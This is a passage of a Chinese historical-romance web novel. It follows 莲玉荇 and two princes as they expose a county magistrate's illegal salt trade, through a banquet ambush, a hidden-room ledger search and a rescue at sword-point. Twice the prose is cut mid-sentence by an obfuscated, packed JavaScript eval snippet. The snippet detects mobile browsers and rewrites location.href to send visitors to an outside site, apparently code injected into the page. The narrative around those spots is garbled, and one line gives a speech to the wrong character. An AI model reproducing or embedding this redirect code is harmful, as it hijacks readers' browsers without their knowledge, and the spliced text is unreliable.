无趣。莲玉荇在心里说话,贺沅安态度这么不好,还是别把打听到的线索告诉他了。 莲玉荇转过身,脑海里闪过一个绝妙的主意,可以给贺沅安一点滋味尝尝。 她扯出一个高深莫测的笑意,凑到贺沅安身边低声说话:“我带殿下去个地方。” ** “这便是你要带我来的地方?”贺沅安有些震惊,没想到莲玉荇看起来娇娇弱弱,没想到爱好这口。 贺沅安上下打量着莲玉荇,扮上男装还挺像那么回事儿。 “走吧。”莲玉荇轻佻地笑笑,与先前的模样截然不同,就差用扇子挑起贺沅安的下巴了。 进入红楼,脂粉味扑面而来,贺沅安不适地皱起眉头,一抬眼莲玉荇被一众五颜六色的姑娘带上了二楼。 贺沅安脸色的表情变幻莫测,许久才跟着她们上了楼。 贺沅安躲开身边的莺莺燕燕,问:“莲玉荇,你到底带我来这里干什么?我不好这口。” “来红楼能干什么,贺兄莫要说笑。”听他这么说,莲玉荇几乎要笑出声来,只能强忍着笑意,打趣道。 欣赏着贺沅安难看的脸色,莲玉荇心里很是畅快,终于大发慈悲,屏退一众姑娘,推开门进去了。 房间里布置精致,与红楼其他地方的相比,这里的熏香很独特,有凝神静气之效。 亭烟迎上来,直接牵住了莲玉荇的手,带着她在小几旁坐下。 贺沅安脸色更黑了,莲玉荇莫不是在戏弄他。 “贺兄,坐。”莲玉荇指了指剩下的座位,让贺沅安坐过去。 贺沅安没动,紧盯着莲玉荇,“莲姑……莲兄,你带我来这里干什么?” 看她这副熟稔的样子,不知道还以为是红楼常客。 莲玉荇敛了吊儿郎当的姿态,坐得端正,赶忙解释:“亭烟姑娘是这红楼的花魁,从前侍奉过庄尘,我答应帮亭烟姑娘赎身,亭烟姑娘才愿意告诉我们关于庄尘的事情。” 庄尘这种人,即便出入风月场所,也断不可能透露自己一星半点的信息。 贺沅安不指望能在亭烟这里打听到什么有价值的线索,沉默不语,没有拂了莲玉荇的面子。 毕竟她都女扮男装了,还很乐在其中。 亭烟从身后的柜子里拿出一张纸,递给莲玉荇。 “庄尘有一个很宝贝的账本,几乎不会离身,就算拿出来也要放在视线可及之内,不允许我碰。” “有一次我不小心碰到,庄尘便把我臭骂了一顿,连夜赶回了府中。” 莲玉荇和贺沅安对视一眼,看来贩卖私盐的证据就在这个账本之中了。 可是,要怎么拿到账本呢? 18. 鸿门 从红楼出来,莲玉荇和贺沅安便直接回了客栈,刚进门,贺沅安身边的侍从就上前来。 侍从:“殿下、莲姑娘,方才庄府的管家来送帖子,邀请两位去庄府参加宴会。” 贺沅安接过帖子,庄尘在私宅设宴款待,言辞恳切,让他们一定要去。 昨日还是那般胆战心惊的狼狈模样,今日就按耐不住送来了请帖。 贺沅安一时无言,把请帖递给了莲玉荇,“莲姑娘以为如何?” 莲玉荇有点担心是不是昨日探私宅一事做得太过激进,才让庄尘如此急不可耐,有所动作。 听到贺沅安叫她,莲玉荇才回过神,“庄尘看起来比我们还急,不去倒是白费了他的这番心思。” 她倒是要看看庄尘准备耍什么花招。 他们在淮安耗的时间已经够久了,趁这个机会,说不定能找到交易账本,抓庄尘一个人赃并获。 贺沅安吩咐侍从备了一份厚礼,先行送去了庄府。 ** 庄府五里外宅子处,大门紧闭,院子里一棵大榕树遮天蔽日,房间里隐约传出说话声,人影被烛光投射到窗户纸上。 “主子,庄尘散值之后就回了私宅,现下正设宴款待宾客,属下盯了好一会儿,没什么异常。”十九说。 那日盐铺掌柜自裁之后,贺砚随顺藤摸瓜,查了盐铺的账本,找到了掌柜背后之人——淮安县令庄尘。 十九在庄家附近找了个没人的宅子,一行人便在这里监视着庄家的动态。 贺砚随“嗯”了一声,坐在座椅上,有一搭没一搭敲着扶手,突然开口:“贺沅安在哪儿?” “回主子,景王殿下接了请帖,和莲姑娘一起赴庄府的宴会了。”十九拱手道。 贺砚随没说话,把先前的密信悉数投入火炉中。 他以为徐家寨的土匪全部死在牢里,以莲玉荇的性子会知难而退,和楚元琅一起退回平城,安稳度日。 而不是留在淮安,明知山有虎,偏向虎山行,坦然接收了庄府的请帖。 贺砚随一下子心里闷痛,忽地抬手捂住了心口,动作间拂落了桌面的砚台,砸在地上,似乎又砸在了心上。 单薄的衣裳被墨水浸湿,星星点点散开,袖口、领口……甚至是脸上,都沾染上了,看上去颇为凌厉。 竟是为了帮贺沅安拿到私盐案的证据,连自身安危也不顾了。 喉头处有血腥上涌,贺砚随紧咬牙关,把那抹腥甜咽了下去。 十九打了个寒颤,下意识退后了一步,将站在原地一动不动的迎月拉出门外,关上门。 迎月抬眼看他,十分不解:“你把我拉出来干什么?主子不是有事要跟我们说吗?” “你傻啊。”十九劫后余生,言谈间带了几分庆幸:“主子问景王殿下的行踪,不过是想问莲姑娘。而听我说起莲姑娘,主子便生气了,大概是那日莲姑娘和主子划清界限,赌气罢了。” “若我们此刻还在里面,遭殃的便是我们了。” 十九扬了扬眉,为自己的聪明才智庆幸。 迎月若有所思,“说得有道理。” 下一刻转身进了屋子,果然有物器摔落的声音。 唉……主子一遇上莲姑娘,脾气就控制不住。 十九不忍直视,不懂迎月为什么要去触主子的霉头,不过还是认命地进了房间。 贺砚随已然平复下来,只是脸色依旧难看,十九看得心惊胆战,忽然贺砚随的视线落在他的身上,后背瞬间涌上一股寒意。 不过没有持续多久便移开了,十九松了一口气。 “你们偷偷潜入庄府,伺机而动,势必要拿到私盐交易的账本,下去吧。”贺砚随冷冷说道。 迎月和十九躬身行礼,退下了。 窗外风声瑟瑟,贺砚随站在窗边,盯着墙上的树影一动不动,像一尊矗立的雕像,眼睛渐渐模糊了。 ** 莲玉荇和贺沅安到达庄府之时,宴会已经开始了一段时间,丝竹之声不绝于耳。 庄尘坐在主位,左拥右抱,好不快活。 管家上前通报,庄尘才大发慈悲施舍了一个眼神给他们,敷衍地拱手,“景王殿下,还有这位姑娘随便坐吧,我庄某的宴会,没有那么多规矩。” 贺沅安眸光微动,选了个就近的位置坐下了。 莲玉荇则在贺沅安的对面就坐,从善如流饮酒作乐。 庄尘旁若无人,喝下舞女递来的酒,又叼了一个葡萄送进嘴里,场面十分淫/乱。 莲玉荇抬起手,袖子挡住了半张脸,遮住了眼底止不住的鄙夷和不屑。 酒过三巡,庄尘终于意识到他们的存在,摇摇晃晃站起身,来到莲玉荇的桌前,眼神迷蒙。 “来!我敬你一杯!”庄尘把酒杯往莲玉荇手上撞,似有似无地碰到了莲玉荇的手,触感非常不适。 莲玉荇下意识移开了手,动作幅度很大,惹得对面的贺沅安都看过来了。 不料这番举动却惹怒了庄尘,“你什么意思,看不起我?不过和平城太守沾了点关系,也敢在我面前端姿态。” 见莲玉荇不说话,庄尘越发起劲,一张嘴喋喋不休,“好大的胆子,我敬你,你抬举你!” 宽大衣袖下,莲玉荇的手紧紧攥起,没想到庄尘会突然发难,本想忍耐,这人倒是越发得寸进尺。 莲玉荇脸色变了又变,刚想开口说话,便被贺沅安接过了话头。 贺沅安说:“够了,庄尘,这便是你邀请我们来的目的吗?来看你趾高气昂,刁难女子?如果是这样,这宴席不如散了吧。” 庄尘身形一顿,随后扯出一个僵硬的笑,打着哈哈:“不过是和姑娘开个玩笑,景王殿下说笑了。” 好一个玩笑。莲玉荇眼神冰冷,沉下了脸。 不过,贺沅安身份藏得很严密,怎么被庄尘发现了?莫不是庄尘背后,有着什么不得了的人。 莲玉荇将此事留在心里,提醒自己多加注意。 庄尘酒醒了不少,大概是觉得闹得过分,又说了几句暖场的话。 庄尘:“我听说,景王殿下近日调查私盐的事情,不知查出点儿什么没有?” 贺沅安顿了顿,抬眼看向庄尘,眼底闪过不易察觉地讽刺。“庄县令很感兴趣,淮安县四处情况,庄县令应该比我们更清楚,怎么来问我们?” “啊哈哈哈……”庄尘笑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430453|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若是淮安县内有人不遵法度,擅自买卖私盐,庄某定当严惩不贷。” “此事不过是小事一桩,实在犯不上大动干戈,不如交给下官,定然会给景王殿下一个交代。”庄尘说得有理有据。 “不妥。”贺沅安回绝了。 庄尘赶忙追问:“哪里不妥?景王殿下不妨明说。” 贺沅安表现得很为难,“私盐案乃圣上亲自下旨,命我们几人彻查此事,本王不能擅自做决断。” “原来如此。”庄尘嘴上应着,心里却不以为意,深埋眼底的阴毒被莲玉荇和贺沅安收进眼中。 庄尘没再追问,反而拍了拍手,跳舞助兴的舞女全都退了下去,有人从屏风后面走出来,打扮妖艳无比,只是身体僵硬得很。 莲玉荇瞳孔微缩,庄尘怎么把亭烟找来了?她已经为亭烟赎身,按理来说亭烟不应该再回到这里,心里也越发确,庄尘绝对不安好心。 亭烟随着丝竹之声开始起舞,动作干净利落,柔美又不失力量,难怪会成为红楼的花魁。 一曲舞毕,庄尘把亭烟招到身边,赞叹道:“不愧是红楼花魁,身姿曼妙无比,服侍人来也有一套。” 粗糙的手抚过亭烟嫩白的脸,狎昵轻视的意味不言而喻。 亭烟白了脸色,看起来十分惹人怜惜。 莲玉荇担忧地看过去,正思索用什么办法解救亭烟的时候,却发现亭烟小幅度地摇摇头,示意莲玉荇不要轻举妄动。 庄尘忽然掐住了亭烟的脖子,亭烟呼吸不畅,脸色由白变红,格外可怖。 莲玉荇身体微微颤抖,稳住心神,尽量让自己的声音听起来正常,“你想要什么?” 庄尘胜券在握,道:“即刻离开淮安,永不再调查这件事!”说着手上越发用力,亭烟几乎要撅过去。 先稳住庄尘,再做打算。 莲玉荇登时喝道:“住手!放了她,我们……” “你杀了她啊,就算杀了她,你也逃不掉。” 莲玉荇愕然,看向贺沅安的眼神惊疑不定,贺沅安语气嘲弄,看庄尘像是地上的一滩烂泥。 庄尘被看得心里冒火,断定这是贺沅安用来激将他的手段。 贺沅安:“你利用徐家寨众人来谋取私利,有盗取官银来买卖私盐,你以为你做得天衣无缝,简直是错漏百出。” “你简直是个头脑简单,四肢发达的蠢货。” 贺砚随平静地阐述事实,庄尘心里的火却越发茂盛。 他原本想着,只要莲玉荇他们听劝离开淮安,不再调查私盐案,他就放他们一条生路。 现在看来,贺沅安知道的太多,留着也是个祸患,一不做二不休,将人都杀了,就不会有人知道他的事情。 淮安县山高皇帝远,就算是皇子,他也照杀不误! 庄尘一只手扼住亭烟的喉咙,一只手挥了挥,四面八方忽然涌出来许多黑衣人,将他们团团围住。 “今日,你们就做个伴,一起下地狱。”庄尘哼笑,带着亭烟一步步往后退,很快消失不见。 面前的黑衣人步步紧逼,贺沅安罕见地觉得棘手,将莲玉荇推到一边,赤手空拳迎了上去。 “走!” 19. 惊变 场面一下子变得混乱无比,白刃擦着脸过,莲玉荇看得心惊肉跳,脸色变得十分苍白。 庄府外早已藏好的侍卫听到动静,抡着刀剑冲了进来,加入混战。 有了侍卫的加入,贺沅安的动作没有那么吃力,对上三四个黑衣刺客也游刃有余。 悬着的心落了下来,莲玉荇尽量降低自己的存在感,从侧门溜了出去。 贺沅安在前面冲锋陷阵,莲玉荇也不准备闲着,一路小跑,直奔庄尘的书房去。 那晚偷偷潜进庄府,莲玉荇进过书房,四处翻找,全是些无关紧要的东西。 一路上没见到什么人,应该是提前逃跑了出去。 到了书房门口,莲玉荇谨慎查看周围的情况,确定没什么之后进了书房,反手关上了书房的门。 “那个账本到底被庄尘藏在了哪里?”莲玉荇喃喃道。 庄尘走得匆忙,应该来不及把账本带走,相反会找一个安全的地方藏起来。 莲玉荇顺着书柜仔细查看,找到了一处灰尘较少的地方,与别处相比干净很多,应该是经常擦拭。 莲玉荇凛了心神,小心翼翼伸出手摸着周围的,在书柜角落处发现一个暗格,掀开后,是一个凸起。 是机关。莲玉荇心道,随后按了下去,书柜往两边分开,出现了一个暗室。 莲玉荇眸子一亮,难怪之前来的时候没发现什么线索,原来这书房之后还有一个暗室。 账本应该被庄尘藏在这里了。 莲玉荇点了烛火靠着墙壁,慢慢深入密室。 密室内别有一番天地,没有点烛火,但是比密室之外还要亮堂。拳头大小的夜明珠被放在烛台上,代替蜡烛来照明。 一排排楠木柜架子依次排列,上面陈列的每一件东西看上去都很昂贵,满满当当很晃眼。 莲玉荇虽贵为丞相小姐,这里的东西有些她也没见过。 难以想象一个小小的县令,竟然会有这么多资产。莲玉荇啧舌,这么多东西,买下一座城池都绰绰有余。 一个朴实无华的木匣映入眼帘,莲玉荇上前去看,木匣没上锁,一打开就能看到里面的东西。 庄尘没上锁,想来不是什么重要东西。莲玉荇收回眼神,抬脚去别处查看。 翻找了一柱香的时间,不是金子,就是银子,莲玉荇眼睛都要看花了,还是没有找到亭所说的那个账本。 该不会不在这里吧?莲玉荇眉头紧锁,庄尘这么警惕,狡兔三窟也不是没可能。 莲玉荇正准备离开,去别的地方找找,路过木匣的时候却不由自主地停下了。 莲玉荇猜到了什么,眼里浮现出细碎狡黠的笑意,反其道而行之,确实是好办法,但是,被她发现了。 “原来在这里。”莲玉荇拿起木匣子,在手上掂量了一下,没什么分量。 莲玉荇打开匣子,将将看到账本的一角,余光瞥见灰衣男子朝着她冲过来,破空声伴随而来,她反应迅速地侧身躲开,匕首磕在架子上。 “当啷——” 声音很大,可见来人使了多大的力气,想要置她于死地。 莲玉荇稳住身形,眯起眼睛,看清了面前的人,然后把匣子里的账本捞出来放进怀里。 她说:“庄管家怎么在这儿?庄县令方才已经脚下生风跑了,竟然抛下你们不管不顾。就算你再是忠心护主,庄县令也不会感激你。” 莲玉荇话里有告诫之意,庄管家哼笑一声,脸上的表情意味不明,死到临头还想挑拨他和老爷的关系。 “即便你说得天花乱坠,今夜你也得死在这儿。”庄管家握紧了匕首,步步紧逼,“老爷是我看着长大的,从及冠到而立之年,我和老爷的感情深厚,不是你能挑拨得了的。” “把账本交出来,我留你一条命。”庄管家说。 莲玉荇下意识捂紧了胸口,落在庄管家眼里便是誓死不从。 庄管家冷冷道:“倒是你们这些人,不依不饶,非要逼迫老爷,老爷逼不得已才反抗。我守在这儿,就是为了防止你们盗取账本,对老爷不利。” “给你点时间,说说你的遗言。”庄管家丢了匕首,从角落里拿起一把剑,离莲玉荇的距离也越来越近。 莲玉荇心乱如麻,直勾勾盯着庄管家的眼睛,忽地伸出手推倒了身边的架子,快步往密室门口逃去,物品破碎的声音在身后接连响起。 像催命符一般。 莲玉荇伸手去够暗室的门,扭动机关却怎么都没反应,瞬间变了脸色。 她今日难道就要死在这里了?莲玉荇闭上了眼睛。 听着声音越来越近,莲玉荇猛地睁开眼,抬腿踹向庄管家,将人踹出去一大截。 趁这个机会,莲玉荇赶紧抓紧时间开门,好在命不该绝,“咔哒”一声,门终于开了。 莲玉荇拔步而逃,速度极快,不过庄管家速度更快,莲玉荇没有死在他的脸下,反而还反击踹了他一脚,这让他分外恼怒,三步并作两步追上了莲玉荇。 庄管家挥剑刺向莲玉荇,莲玉荇又躲,不过这次剑擦着她的手臂而过,划出了一大道口子。 莲玉荇速度比不上庄管家,被逼离了门边。 莲玉荇痛得直吸气,看了一眼伤口,正源源不断往外冒血,“庄管家,现在停手还来得及,我会向平城太守进言,让他从轻处理庄县令,至少能留下一条命。” 庄管家不为所动,高高举起了剑,莲玉荇浑身发软,使不上力气,就算逃也逃不掉了。 莲玉荇认命地闭上了眼睛,利刃划破血肉,血滴答滴答滴落在地上。 而后,兵器相接,有人倒在了地上,声音沉闷。 怎么不疼?莲玉荇睁开了一只眼,偷偷观察,顿时错愕地睁大了眼睛。 贺砚随?! 贺砚随的眼神看上去十分庆幸,沾了血的剑脱手掉落在地上,随后,贺砚随身子一软,跪了下来。 幸而莲玉荇抱住了贺砚随的身子,才没有整个倒在地上。 “贺砚随……贺砚随……你没事吧?别吓我。”莲玉荇的声音颤抖不已,言语破碎不成句。 她和贺砚随在客栈时便划清距离,贺砚随也如她所愿,走得远远地。 两个人就此各不相干。 而不是像现在这样,替她挡了一剑,了无声息靠在她的身上。 手掌湿乎乎的,很温热,莲玉荇一看,一瞬间红了眼眶。 贺砚随的血淌到了莲玉荇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430454|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,把她的衣裳都沾湿了,两个人的血交融在一起,分不清是谁的。 莲玉荇擦干眼泪,咬紧了牙关,“贺砚随坚持住,我带你去找大夫。” 可是贺砚随失去了意识,越动作血流得越多。 身上好像有一个火信,莲玉荇小心翼翼放下贺砚随,将火信放了出去,在天空炸出来一片绚烂的烟花。 与莲玉荇此时的心情格外不符。 心脏闷闷地痛,莲玉荇把贺砚随扶到身上,贴着他的额头喃喃自语,“你不准死,我们俩的账还没算。” ** 火信一出,各方的人都聚集到了庄府。 贺沅安和楚元琅留下的侍卫解决了那群黑衣刺客,贺沅安的暗卫追上了庄尘,彼时他带着亭烟到了码头,正准备逃之夭夭,但还是被抓了回来。 十九带着一众暗卫前来支援,发现贺砚随处在血泊当中,目眦欲裂。 当场要带着贺砚随离开,被莲玉荇制止了。 莲玉荇嗓子哑了,抱着贺砚随不放,“我要看着他平安无事。” 迎月:“莲姑娘放心,主子福大命大,肯定无事的。” 贺砚随被十九他们带回了客栈,淮安医术高明的大夫都被请来,血水被一盆盆端出来,而大多数大夫都是摇头,表示自己无能为力。 莲玉荇站在原地,垂下眼睑,烛火在她脸上投下一片阴翳。 手上的伤已经被简单包扎过了,疼痛时不时涌上来,莲玉荇的唇色越发苍白。 贺沅安站在莲玉荇身后,长身玉立,旁人看不清他的神色。 之前贺沅安单独去找庄尘,实际上是为了逼他一把,看看他能做到哪一步。 庄尘也如他所想,派出刺客要灭他们的口,连他这个皇子身份都不顾了。 另外,他早就发现贺砚随对莲玉荇有所不同,此番也存着试探贺砚随的心思,看贺砚随究竟有多看重莲玉荇。 呵呵,为了一个女子,把自己置于险境,弄成这副模样,贺沅安打心底里看不起贺砚随。 贺沅安从前总希望贺砚随死,现在倒是有点舍不得了。 从小到大他和贺砚随争惯了,要是死了,他和谁争。 贺沅安扯了扯嘴角,似乎是不想看贺砚随的狼狈模样,转身离开了。 十九盯着贺沅安的背影,冷不丁开口:“景王殿下和主子向来不对付,现在主子伤成这样,他肯定开心极了吧。” “我可怜的主子。”十九快要哭了。 贺砚随平时不轻易动手,但是贺砚随的身手,十九十分清楚,像庄管家这样的,贺砚随一根手指就能解决。 十九望向莲玉荇,眼神幽怨,要不是为了莲姑娘,主子不可能会受这么重的伤,昏迷不醒。 而莲姑娘却看不到主子的付出,一心一意帮贺沅安出谋划策,真是不公平。 莲玉荇动了动僵硬的手指,终于感觉自己有了点知觉。 她将十九的话听进去了,可是没拿到一个保障,丞相府便永远有危患,她便一日无法安心。 现在,她还信不过贺砚随,但是贺砚随终归是因为她才受伤,她得做些什么。 莲玉荇眼神熠熠:“备车马,我们连夜赶回平城!” 20. 刺客 马车穿行在密林之中,时隐时现,速度越来越快。 十九坐在马夫的位置,掌着马绳,避开地上颠簸的位置。 昨日莲玉荇下了命令之后,十九原本有点犹豫,毕竟贺砚随的伤势实在严重,长途跋涉说不定会加重伤势。 但是淮安没有好的大夫,留在那里还会耽误治伤的时辰。 迎月当机立断备了马车,请了个医术尚可的大夫随行,许诺百两银子。 而后一行人便踏上回平城的路途,算算时辰,已经走了三个时辰了。 十九吆喝一声:“莲姑娘,主子的情况如何了?” 马车里铺满了软垫,贺砚随一身素衣,被莲玉荇揽着身子靠在身上,唇色不正常地泛红,睡梦中也皱着眉头。 莲玉荇一夜没睡,精神头不太好,唯独一双眼睛亮晶晶地,掩盖住了眼底的担忧。 大夫给贺砚随把了脉象,探了探额头的温度,叹气道:“伤口已经没再渗血了,但是毕竟伤了心脉,不是一时半会能好的。公子现下发起了高烧,需要赶紧降温。” 像是应证大夫的话,贺砚随脸色一下子变得红润,呼吸间都透着温热。 莲玉荇和他靠得近,很快感受到了,袖子下的手牵住贺砚随,冰冰凉凉地,贺砚随下意识握紧了。 大夫从瓶子里拿出药丸,莲玉荇接过,递到贺砚随嘴边。 没有想象中那么顺利,莲玉荇又试了几次,贺砚随全无意识,药丸入口又被吐了出来。 “这……”大夫面露难色,这药不吃,贺砚随会烧得更严重,到时候说不定连命都保不住。 “既然如此,那我先给这位公子擦擦身子,看能不能把烧降下来。”大夫想了想。 在大夫的注视下,莲玉荇慢慢把贺砚随从身上挪开,刚站起身,忽地被拉住手,分毫动弹不得。 莲玉荇愣住了,试着掰开贺砚随的手,无果,看向一旁的大夫。 大夫也束手无策:“我看贺公子和姑娘感情甚笃,不如……” 啊?让她给贺砚随擦拭身子? 莲玉荇脸色变得很古怪,虽说前世两人坦诚相见,什么都看了,现在终归不是夫妻,总觉得怪怪的。 “不可!”马车的帘子被掀开,迎月弯身进来,“莲姑娘还是未出阁的女子,现在这般已经是不合礼数,要是她给主子擦拭,名声还要不要了。” 大夫反应过来,连连道歉,“是是是是,是我糊涂了,可是公子抓着莲姑娘不放,该如何是好?” 莲玉荇听到他们说话,又试了试,这次轻而易举就挣来了。 莲玉荇感觉惊奇,好在是不用她杵在这儿看贺砚随的身子了。 迎月带着贺砚随出了马车,风声猎猎,吹得人睁不开眼。 十九自然地把马绳递给迎月,进了马车,大概是怕那大夫有多余的动作。 “驾!”迎月拉动马绳,动作潇洒利落,“莲姑娘,坐稳了!” 莲玉荇看直了眼睛,惊讶道:“迎月姑娘,你们暗卫什么都会吗?” 迎月:“作为暗卫,需得什么都会一点,不然哪天出任务需要,哭都来不及。” 这样啊,莲玉荇若有所思地点点头。 “诶,莲姑娘你的脸怎么这么红?是不是也发烧了?”迎月侧头看了她一眼,手上的动作没停。 莲玉荇自己没感觉,用手摸了摸,果然是有点烫。 “没事。”莲玉荇说:“应该是刚才在车内被闷到了。” 现下贺砚随的安危最大,她这点小毛病,还是不添乱了。 马车内点了炉子,闷热是正常的。迎月狐疑地看了看莲玉荇,确定她没事,才安心驱赶起了马车。 ** 越过山,远远就能看到平城,屋舍俨然。 天公不作美,天色渐渐暗了下来,风把树叶吹得沙沙作响,乌云飘得低了很多。 有一种山雨欲来的征兆。 莲玉荇掀开帘子往外看,被风沙糊了眼睛。 应该是要下雨了。莲玉荇心想。 大夫帮贺砚随擦拭身子之后,烧已经退了,不变的是,莲玉荇又被钳制住了。 贺砚随虽然还昏睡着,手劲一点也不小,牢牢抓着莲玉荇的手不放。 大夫看她的眼神都不对劲,估计在想,一个未出阁的女子行为怎么如此无状。 莲玉荇心虚地避开,闭目养神,就这么待了一路。 终于要到平城了。莲玉荇暗暗松了一口气,等到了平城就和贺砚随他们分道扬镳。 马车猛然晃动了一下,停了下来。 莲玉荇睁开眼,扶住车厢才勉强稳住身体,不然贺砚随和她都得撞到车厢上。 迎月语气十分严肃:“各暗卫注意,保护主子和莲姑娘。” 周围多了一些人,十九站在马车旁边低声说话:“来者不善,莲姑娘你们小心,我们誓死护送你们进城。” 莲玉荇眉目一凝,他们行了一路都没遇上什么人,快要进城却有人拦路。 看样子有人不想让贺砚随活下去。 贺沅安?贺沅安尚在淮安,要是他想让贺砚随死,早在淮安就会动手,不会等到现在。 会不会是京都的人?莲玉荇胡乱猜测。 马车外已经打起来了,刀剑相碰,声音格外大,大夫被吓得瑟瑟发抖。 “砰——”有人砸到马车上,车厢晃荡不已,很快被带离了马车。 莲玉荇从帘子的缝隙看过去,身材魁梧的黑衣人正与十九缠斗,招式狠辣,每一剑几乎都要致人死地。 十九一时间不敌,被逼得连连退后,黑衣人得了空,立马转身往马车处奔来。 莲玉荇呼吸一滞,下意识放下了帘子。 这人看着怎么眼熟?莲玉荇绞尽脑汁,没想出来,遂放弃。 马车忽地动了起来,朝着密林冲进去,十九和一众暗卫在后面挡住刺客,让他们能够逃脱。 不知过了多久,马车终于慢了下来,缓慢移动。 迎月掀开帘子,面色缓和了许多,“刺客被我甩掉了,我们安全了。” “十九他们……”莲玉荇往路的尽头瞅了一眼,说道。 “姑娘不用担心,十九他们会在平城和我们汇合,先进城吧,主子的伤势要紧。” 莲玉荇点点头,迎月放下帘子,赶着马车,顺着官道进城。 ** 刚进平城,楚 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楚越低笑,“好好好,小舅舅不提了。” 封禾见他言行无状,在莲玉荇看不见的地方,拧住楚越腰间的肉,楚越顿时疼得龇牙咧嘴。 莲玉荇掩唇低笑,小舅舅和舅母还是和从前一样恩爱。 一柱香之后,楚元琅和大夫房间里出来,神色淡然。 十九和迎月上前去问:“大夫,殿下如何了?” 大夫把药方递给十九,“我看过殿下的伤口,处理得很好,目前看没有炎症,只需要仔细照料伤口,不再发烧,剩下的慢慢将养。” “多谢。”十九面露感激,莲玉荇闻言也松了一口气,悬着的心终于放下了。 贺砚随没事便好。 楚越:“既然殿下无事,那我们便回府了。在下与侄女好久不见,便告辞了。” 迎月送他们出门,末了向莲玉荇躬身行礼,“多谢莲姑娘相助。” 莲玉荇扶她起来,“端王殿下因我而受伤,我做这些事是应该的,你们且照顾好殿下。” “这个,等端王殿下醒了,麻烦你替我转交给他。”莲玉荇从袖子里拿出卷轴,放到迎月手中,“切记,一定要交到端王殿下手上。” 迎月点点头,“莲姑娘放心。” 嘱咐完,莲玉荇一行人就回了楚府,大夫帮莲玉荇查看了手臂上的伤势,没有发炎,楚越他们才放下心来。 莲玉荇放下衣袖,看向楚越道:“小舅舅,我来平城已经快三月了,修养得差不多,是时候该回去了。” 楚越还没说话,楚元琅先开了口:“怎么就要回去了?再多待一段时间也不迟。” “怎么才来就要走?你父亲母亲让你来平城养伤,你如今又添新伤,我如何和父亲母亲交代?”楚越皱起了眉头。 “我这伤没事,小舅舅不用担心,过些时日便好了。”莲玉荇弯了弯嘴角。 楚越叹气:“罢了,何时走?我们送你出城。” “过几日便走。”莲玉荇说:“对了小舅舅,你记得帮我还一件东西给太守府。” 莲玉荇摊开手,是一块腰牌。 21. 惊喜 五日后。 这天平城天气极好,流云聚散,和风煦日,是个吉日。 十九接了干净的水,准备给他家主子擦擦身子。 那大夫说主子的伤没什么大碍,但就是没醒过来,十九心里很是担忧,连迎月邀他出门都拒绝了。 十九放下盆,怔怔站在原地,贺砚随还昏睡着,面色已经红润了不少。 “主子,你也该醒了。”十九幽幽开口,“景王殿下擒拿了淮安县令,也算是大功一件,昨日我还看到他进了太守府。” 谁也没想到私盐一案牵涉这么广,淮安县令庄尘不仅包庇人丁贩卖,还胆大包天买卖私盐。 更没想到本该是贺砚随负责查探的案件,最后被贺沅安抓到了犯人。 造化弄人呐。十九摇摇头,拧干净巾帕,往贺砚随脸上抹,只是还没碰到,就被贺砚随躲开。 十九吓得一哆嗦,手上的帕子掉落,盖在贺砚随的胸口处。 十九快速调整了表情,挤出笑意,“主子,您醒了。” 贺砚随“嗯”了一声,示意十九把他扶起来,后背的伤还很刺痛,尚且能忍受。 贺砚随昏睡了七八天,嗓子干痒得很,忍不住咳嗽几声,十九三步并两步去给贺砚随倒水,“主子,喝口水润润嗓子。” 喝了水后好了很多,只是声音听起来依旧很哑,贺砚随瞥了十九一眼。 “方才你嘀嘀咕咕什么呢”贺砚随不悦道。 这一觉睡得久了,贺砚随混沌之中,竟然梦到了他和莲玉荇相处的点点滴滴。 画面飞速翻转,贺砚随梦到自己侥幸从战场上活了下来,一路跌跌撞撞回到京都。 京都也不太平,到处都是百姓流民的尸体,长安街和朱雀大街上军队来来往往,十分戒备。 贺砚随虽然疑惑,却不能做什么,趁着混乱混进了皇宫,有人带着士兵直奔宣政殿,看上去来者不善。 这时候,莲玉荇应该拿着他的私印指点江山,潇洒威风。 可等贺砚随尾随一行人进了宣政殿,眼前的一幕却让他瞪大了眼睛。 莲玉荇华服加身,饮下鸩酒,口吐鲜血软倒在地,格外狼狈。 又格外真实。 仿佛被人掐住了喉咙,贺砚随说不出话,只是直勾勾地盯着莲玉荇痛苦的脸,心脏一阵阵抽痛,眼睛慢慢地红了。 肩膀突然被人拍了一下,有人在他耳边喝道:“什么人?!” …… 贺砚随难耐地闭上了眼睛,这梦也太真实了,他刚才为了救莲玉荇受伤,总不至于在梦里想置她于死地。 “主子,庄尘被端王殿下抓住,送进太守府的地牢里了。”十九弱弱说话。 “嗯,知道了。”贺砚随点点头,他已经猜到了,贺沅安对私盐案势在必得,之前跟他放话说“各凭本事”,不奇怪。 来平城的这段时间,他也找到一些证据,足够证明庄尘的罪名了。 十九看贺砚随这副淡然模样,有点着急,刚想说什么,房门突然被推开了。 迎月风风火火进来,拱手行礼,“主子,我听说您醒了,立马赶回来了。” 贺砚随:“有什么事?” 迎月敬上卷轴,“这是莲姑娘临走时交给我的,让我一定要交到主子您手里,想来里面的内容很重要,我也不敢耽搁。” 贺砚随接过卷轴,没有立刻打开,反而问迎月:“莲玉荇回去了?” 贺砚随心里泛起淡淡的失落,真狠心,他为了莲玉荇受了重伤,她就这么走了。 “是。”迎月答道:“莲姑娘听大夫说您已经没事了,便回了楚府,三日前已经赶回京都了。” 